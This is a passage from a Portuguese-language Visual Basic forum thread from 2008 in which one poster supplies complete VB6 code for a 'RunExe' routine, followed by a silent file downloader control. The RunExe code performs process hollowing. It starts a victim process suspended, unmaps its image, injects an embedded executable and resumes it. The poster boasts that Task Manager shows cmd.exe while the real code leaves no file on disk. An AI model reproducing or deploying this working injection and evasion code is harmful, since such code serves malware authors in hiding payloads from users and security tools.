USUÁRIO:      SENHA:        SALVAR LOGIN ?    Adicione o VBWEB na sua lista de favoritos   Fale conosco 

 

  Fórum

  Visual Basic
Voltar
Autor Assunto:  API HTTP Download
gugump
não registrado
ENUNCIADA !
Postada em 30/08/2008 16:39 hs   
A nem se preocupa com isso, a parte de baixar um programa para tirar a resource, quem usa cheat geralmente é um LAMMER filho da *** que não sabe nem o que é HD ou RAM huahua

Mas uma ajuda é sempre bem vinda!

Aguardando...

Até mais.
   
CODER_EXPERT
GOIÂNIA
GO - BRASIL
ENUNCIADA !
Postada em 30/08/2008 20:16 hs            
Aqui vão os códigos adicionais conforme prometido.

'-------------------------------------------------------------------------------------------------------
Option Explicit

'Árvore de contexto pessoal
Const SIZE_OF_80387_REGISTERS = 80

Private Type FLOATING_SAVE_AREA
     ControlWord As Long
     StatusWord As Long
     TagWord As Long
     ErrorOffset As Long
     ErrorSelector As Long
     DataOffset As Long
     DataSelector As Long
     RegisterArea(1 To SIZE_OF_80387_REGISTERS) As Byte
     Cr0NpxState As Long
End Type

Private Type CONTEXT86
    ContextFlags As Long
'Estes são selecionados por CONTEXT_DEBUG_REGISTERS
    Dr0 As Long
    Dr1 As Long
    Dr2 As Long
    Dr3 As Long
    Dr6 As Long
    Dr7 As Long
'Estes são selecionados por CONTEXT_FLOATING_POINT
    FloatSave As FLOATING_SAVE_AREA
'Estes são selecionados por CONTEXT_SEGMENTS
    SegGs As Long
    SegFs As Long
    SegEs As Long
    SegDs As Long
'Estes são selecionados por CONTEXT_INTEGER
    Edi As Long
    Esi As Long
    Ebx As Long
    Edx As Long
    Ecx As Long
    Eax As Long
'Estes são selecionados por CONTEXT_CONTROL
    Ebp As Long
    Eip As Long
    SegCs As Long
    EFlags As Long
    Esp As Long
    SegSs As Long
End Type

Const CONTEXT_X86 = &H10000
Const CONTEXT86_CONTROL = (CONTEXT_X86 Or &H1)          'SS:SP, CS:IP, FLAGS, BP
Const CONTEXT86_INTEGER = (CONTEXT_X86 Or &H2)          'AX, BX, CX, DX, SI, DI
Const CONTEXT86_SEGMENTS = (CONTEXT_X86 Or &H4)         'DS, ES, FS, GS
Const CONTEXT86_FLOATING_POINT = (CONTEXT_X86 Or &H8)   '387 state
Const CONTEXT86_DEBUG_REGISTERS = (CONTEXT_X86 Or &H10) 'DB 0-3,6,7
Const CONTEXT86_FULL = (CONTEXT86_CONTROL Or CONTEXT86_INTEGER Or CONTEXT86_SEGMENTS)

Private Declare Function GetThreadContext Lib "kernel32" (ByVal hThread As Long, lpContext As CONTEXT86) As Long
Private Declare Function SetThreadContext Lib "kernel32" (ByVal hThread As Long, lpContext As CONTEXT86) As Long
Private Declare Function SuspendThread Lib "kernel32" (ByVal hThread As Long) As Long
Private Declare Function ResumeThread Lib "kernel32" (ByVal hThread As Long) As Long

'Processo de criação e de acesso pessoal na memória
Private Type PROCESS_INFORMATION
   hProcess As Long
   hThread As Long
   dwProcessId As Long
   dwThreadId As Long
End Type

Private Type STARTUPINFO
   cb As Long
   lpReserved As String
   lpDesktop As String
   lpTitle As String
   dwX As Long
   dwY As Long
   dwXSize As Long
   dwYSize As Long
   dwXCountChars As Long
   dwYCountChars As Long
   dwFillAttribute As Long
   dwFlags As Long
   wShowWindow As Integer
   cbReserved2 As Integer
   lpReserved2 As Long        'LPBYTE
   hStdInput As Long
   hStdOutput As Long
   hStdError As Long
End Type

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function ZwUnmapViewOfSection Lib "ntdll.dll" (ByVal hProcess As Long, ByVal BaseAddress As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function VirtualProtectEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Const CREATE_SUSPENDED = &H4
Const MEM_COMMIT As Long = &H1000&
Const MEM_RESERVE As Long = &H2000&
Const PAGE_NOCACHE As Long = &H200
Const PAGE_EXECUTE_READWRITE As Long = &H40
Const PAGE_EXECUTE_WRITECOPY As Long = &H80
Const PAGE_EXECUTE_READ As Long = &H20
Const PAGE_EXECUTE As Long = &H10
Const PAGE_READONLY As Long = &H2
Const PAGE_WRITECOPY As Long = &H8
Const PAGE_NOACCESS As Long = &H1
Const PAGE_READWRITE As Long = &H4

Private Enum ImageSignatureTypes
    IMAGE_DOS_SIGNATURE = &H5A4D     ' Assinatura MZ
    IMAGE_OS2_SIGNATURE = &H454E     ' Assinatura NE
    IMAGE_OS2_SIGNATURE_LE = &H454C  ' Assinatura LE
    IMAGE_VXD_SIGNATURE = &H454C     ' Assinatura LE
    IMAGE_NT_SIGNATURE = &H4550      ' Assinatura PE00
End Enum

Private Type IMAGE_DOS_HEADER
    e_magic As Integer        ' Número Mágico
    e_cblp As Integer         ' Bytes na última página do arquivo
    e_cp As Integer           ' Páginas no arquivo
    e_crlc As Integer         ' Relocações
    e_cparhdr As Integer      ' Tamanho do cabeçalho em parágrafos
    e_minalloc As Integer     ' Mínimo de pontos extras necessário
    e_maxalloc As Integer     ' Máximo de pontos extras necessário
    e_ss As Integer           ' Valor SS Inicial (Relativo)
    e_sp As Integer           ' Valor SS Inicial
    e_csum As Integer         ' Checasomatória
    e_ip As Integer           ' Valor IP Inicial
    e_cs As Integer           ' Valor CS Inicial (Relativo)
    e_lfarlc As Integer       ' Endereço do arquivo da tabela de relocação
    e_ovno As Integer         ' Sobreposição de número
    e_res(0 To 3) As Integer  ' Palavras reservadas
    e_oemid As Integer        ' Identificados OEM(para e_oeminfo)
    e_oeminfo As Integer      ' Informação OEM; e_oemid específico
    e_res2(0 To 9) As Integer ' Palavras Reservadas
    e_lfanew As Long          ' Endereço do Arquivo do novo cabeçalho do EXE
End Type

' Cabeçalho do arquivo do MSDOS
Private Type IMAGE_FILE_HEADER
    Machine As Integer
    NumberOfSections As Integer
    TimeDateStamp As Long
    PointerToSymbolTable As Long
    NumberOfSymbols As Long
    SizeOfOptionalHeader As Integer
    characteristics As Integer
End Type

' Formato do Diretório
Private Type IMAGE_DATA_DIRECTORY
    VirtualAddress As Long
    Size As Long
End Type

' Formato do cabeçalho opcional
Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16

Private Type IMAGE_OPTIONAL_HEADER
    ' Campos Padrões
    Magic As Integer
    MajorLinkerVersion As Byte
    MinorLinkerVersion As Byte
    SizeOfCode As Long
    SizeOfInitializedData As Long
    SizeOfUnitializedData As Long
    AddressOfEntryPoint As Long
    BaseOfCode As Long
    BaseOfData As Long
    ' NT additional fields.
    ImageBase As Long
    SectionAlignment As Long
    FileAlignment As Long
    MajorOperatingSystemVersion As Integer
    MinorOperatingSystemVersion As Integer
    MajorImageVersion As Integer
    MinorImageVersion As Integer
    MajorSubsystemVersion As Integer
    MinorSubsystemVersion As Integer
    W32VersionValue As Long
    SizeOfImage As Long
    SizeOfHeaders As Long
    CheckSum As Long
    SubSystem As Integer
    DllCharacteristics As Integer
    SizeOfStackReserve As Long
    SizeOfStackCommit As Long
    SizeOfHeapReserve As Long
    SizeOfHeapCommit As Long
    LoaderFlags As Long
    NumberOfRvaAndSizes As Long
    DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
    Signature As Long
    FileHeader As IMAGE_FILE_HEADER
    OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

' Seção do Cabeçalho
Const IMAGE_SIZEOF_SHORT_NAME = 8

Private Type IMAGE_SECTION_HEADER
   SecName As String * IMAGE_SIZEOF_SHORT_NAME
   VirtualSize As Long
   VirtualAddress  As Long
   SizeOfRawData As Long
   PointerToRawData As Long
   PointerToRelocations As Long
   PointerToLinenumbers As Long
   NumberOfRelocations As Integer
   NumberOfLinenumbers As Integer
   characteristics  As Long
End Type

Const OFFSET_4 = 4294967296#

Public Function RunExe(ByVal sVictim As String, abExeFile() As Byte) As Long
    Dim idh As IMAGE_DOS_HEADER
    Dim inh As IMAGE_NT_HEADERS
    Dim ish As IMAGE_SECTION_HEADER
    Dim pi As PROCESS_INFORMATION
    Dim si As STARTUPINFO
    Dim context As CONTEXT86
    Dim ImageBase As Long, ret As Long, i As Long
    Dim addr As Long, lOffset As Long
        
    CopyMemory idh, abExeFile(0), Len(idh)
    If idh.e_magic <> IMAGE_DOS_SIGNATURE Then
       'Assinatura MZ não encontrada
       Exit Function
    End If
    CopyMemory inh, abExeFile(idh.e_lfanew), Len(inh)
    If inh.Signature <> IMAGE_NT_SIGNATURE Then
       'Assinatura PE não encontrada
       Exit Function
    End If
    
    si.cb = Len(si)
    If CreateProcess(vbNullString, sVictim, 0, 0, False, CREATE_SUSPENDED, 0, 0, si, pi) = 0 Then
       'Erro ao iniciar processo vítima
       Exit Function
    End If
    context.ContextFlags = CONTEXT86_INTEGER
    If GetThreadContext(pi.hThread, context) = 0 Then GoTo ClearProcess
    Call ReadProcessMemory(pi.hProcess, ByVal context.Ebx + 8, addr, 4, 0)
    If addr = 0 Then GoTo ClearProcess
    If ZwUnmapViewOfSection(pi.hProcess, addr) Then GoTo ClearProcess
    ImageBase = VirtualAllocEx(pi.hProcess, ByVal inh.OptionalHeader.ImageBase, inh.OptionalHeader.SizeOfImage, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
    If ImageBase = 0 Then GoTo ClearProcess

    Call WriteProcessMemory(pi.hProcess, ByVal ImageBase, abExeFile(0), inh.OptionalHeader.SizeOfHeaders, ret)
    lOffset = idh.e_lfanew + Len(inh)
    For i = 0 To inh.FileHeader.NumberOfSections - 1
        CopyMemory ish, abExeFile(lOffset + i * Len(ish)), Len(ish)
        Call WriteProcessMemory(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, abExeFile(ish.PointerToRawData), ish.SizeOfRawData, ret)
        Call VirtualProtectEx(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, ish.VirtualSize, Protect(ish.characteristics), addr)
    Next i
    Call WriteProcessMemory(pi.hProcess, ByVal context.Ebx + 8, ImageBase, 4, ret)
    context.Eax = ImageBase + inh.OptionalHeader.AddressOfEntryPoint
    Call SetThreadContext(pi.hThread, context)
    Call ResumeThread(pi.hThread)
    Exit Function
ClearProcess:
    CloseHandle pi.hThread
    CloseHandle pi.hProcess
End Function

Private Function Protect(ByVal characteristics As Long) As Long
   Dim mapping As Variant
   mapping = Array(PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _
                   PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _
                   PAGE_READWRITE, PAGE_EXECUTE_READWRITE)
   Protect = mapping(RShift(characteristics, 29))
End Function

Private Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long
    RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift)
End Function

Private Function vbLongToULong(ByVal Value As Long) As Double
    If Value < 0 Then
        vbLongToULong = Value + OFFSET_4
    Else
        vbLongToULong = Value
    End If
End Function

'-------------------------------------------------------------------------------------------------------
* Um exemplo de como usar a função RunEXE:

Dim sPathEXE As String, FileByte() As Byte

sPathEXE = "C:WindowsSystem32cmd.exe"
FileByte = LoadResData("CALC.EXE","EXE")

Call RunExe(sPathEXE, FileByte)

-> Note que você pode mentir a imagem do executável, dizemos pro Windows que executamos o arquivo C:WindowsSystem32cmd.exe aí quando você abrir o Gerenciador de Tarefas vai estar lá o cmd.exe em execução kkkkk quando na verdade não existe a imagem das instruções no HD, no caso pode usar o caminho do seu Próprio EXE que está sendo executado em primeira instância.

Qualquer dúvida poste novamente.
   
CODER_EXPERT
GOIÂNIA
GO - BRASIL
ENUNCIADA !
Postada em 30/08/2008 20:27 hs            
Mais tarde te posto um código que faz download de arquivos da internet em todo sistema operacional que se chama Windows. 100% total de compatibilidade com o sistema operacional sem usar API, OCX ou DLL, sem usar nada.

Excelent Code
   
gugump
não registrado
ENUNCIADA !
Postada em 30/08/2008 21:26 hs   
Caramba caraaaa, estou impressionado, eu preciso muito desse sistema que faz o download funcionando em todos os sistemas operacionais!!!

Vou até chorar

Até mais brother
   
CODER_EXPERT
GOIÂNIA
GO - BRASIL
ENUNCIADA !
Postada em 30/08/2008 21:36 hs            
O método de download 100% compatível com qualquer Windows sem usar API, DLL ou OCX que eu tava falando é usando o AsyncRead do Visual Basic numa criação de OCX, esse método abre uma conexão UDP com a internet hehe.

Então vamos parar de falar e começar a trabalhar.

No seu projeto VB adicione um UserControl (Menu Project -> Add UserControl -> Botão Abrir)
Nomeie o nome do seu Controle para CDownload. Dê um duplo clique no formulário do UserControl para abrir a sessão de códigos, apague tudo e cole isto:

'-------------------------------------------------------------------------------------------------------
Event Progress(Max As Long, Min As Long)
Event Complete(Data As Variant)
Event DownloadError()

Public Sub Download(URL As String)
  On Error Resume Next
  AsyncRead URL, 1
End Sub

Private Sub UserControl_AsyncReadComplete(AsyncProp As AsyncProperty)
On Error Resume Next
Dim Data As String

Open AsyncProp.Value For Binary As #1
  Data = Space(FileLen(AsyncProp.Value))
  Get #1, , Data
Close #1

If Trim(Data) <> Empty Then
  RaiseEvent Complete(Data)
Else
  RaiseEvent DownloadError
End If
End Sub

Private Sub UserControl_AsyncReadProgress(AsyncProp As AsyncProperty)
  RaiseEvent Progress(AsyncProp.BytesMax, AsyncProp.BytesRead)
End Sub

'-------------------------------------------------------------------------------------------------------

Agora salve seu projeto e feche o Visual Basic.

Abra o Visual Basic e o projeto novamente. Observe que na barra ToolBox (Caixa de Ferramentas) apareceu um novo controle, esse controle é o CDownload que acabamos de criar, adicione um CDownload  com o nome CDown em seu Form e um CommandButton, no CommandButton adicione os seguintes códigos:

CDown.Download "http://www.dominio.com/arquivo.dll"

Abra o formulário e dê um duplo clique no controle CDown para exibir a sessão de códigos, adicione os seguintes códigos no evento Complete (esse evento é disparado quando o download completar):

'Salva o arquivo baixado no HD
Open PtWsv For Output As #1
  Print #1, Data
Close #1

'Salvar o download no HD fica a seu critério, se quiser pode deixar numa variável mesmo como:

Public sFileDownload As String
sFileDownload = Data

Agora abra o evento DownloadError e adicione os seguintes códigos:

Msgbox "Erro ao tentar fazer download"

* Note que quando você inicia um download o seu aplicativo poderá processar outros eventos normalmente pq quando o download finalizar ou der erro os eventos Complete ou DownloadError irão disparar, caso queria aguardar o download finalizar para prosseguir a leitura dos códigos de seu EXE você deverá fazer a seguinte rotina em seu Form:

Option Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Command1_Click()
  CDown.Download "http://www.dominio.com/arquivo.dll"

  Do
    Doevents
    Sleep 1 'Necessário para o seu aplicativo não consumir 100% do seu processador

    If CDown.Tag = "Error" Then
      Msgbox "Falha no Download"
      CDown.Tag = Empty
      Exit Do
    ElseIf CDown.Tag = "Completed" Then
      Msgbox "Download completado com sucesso."
      CDown.Tag = Empty
      Exit Do
    End If
  Loop

  '...
End Sub

Private Sub CDown_Complete(Data As Variant)
  CDown.Tag = "Completed"
End Sub

Private Sub CDown_DownloadError()
  CDown.Tag = "Error"
End Sub

'Única desvantagem desta dica é que seu projeto precisa de um formulário para usar o CDownload. É bom usar um formulário vazio para este fim que não terá problema de incompatibilidade de seu aplicativo com falta de DLL ou OCX, um aplicativo feito em Visual Basic só sentirá falta de uma DLL ou OCX quando for o momento de usá-la ou de carregá-la.

Excelent Code
   
gugump
não registrado
ENUNCIADA !
Postada em 30/08/2008 22:30 hs   
Hum, muito bom!!! Mas teria como adicionar uma ProgressBar ao download que está sendo feito? Pois estava usando o URLDownloadToFile API e não tinha jeito de por essa bendita ProgressBar

Abs!
   
Página(s): 3/6     « ANTERIOR    PRÓXIMA »


Seu Nome:

Seu eMail:

ALTERAR PARA MODO HTML
Mensagem:

[:)] = 
[:P] = 
[:(] = 
[;)] = 

HTML DESLIGADO

     
 VOLTAR

  



CyberWEB Network Ltda.    © Copyright 2000-2024   -   Todos os direitos reservados.
Powered by HostingZone - A melhor hospedagem para seu site
Topo da página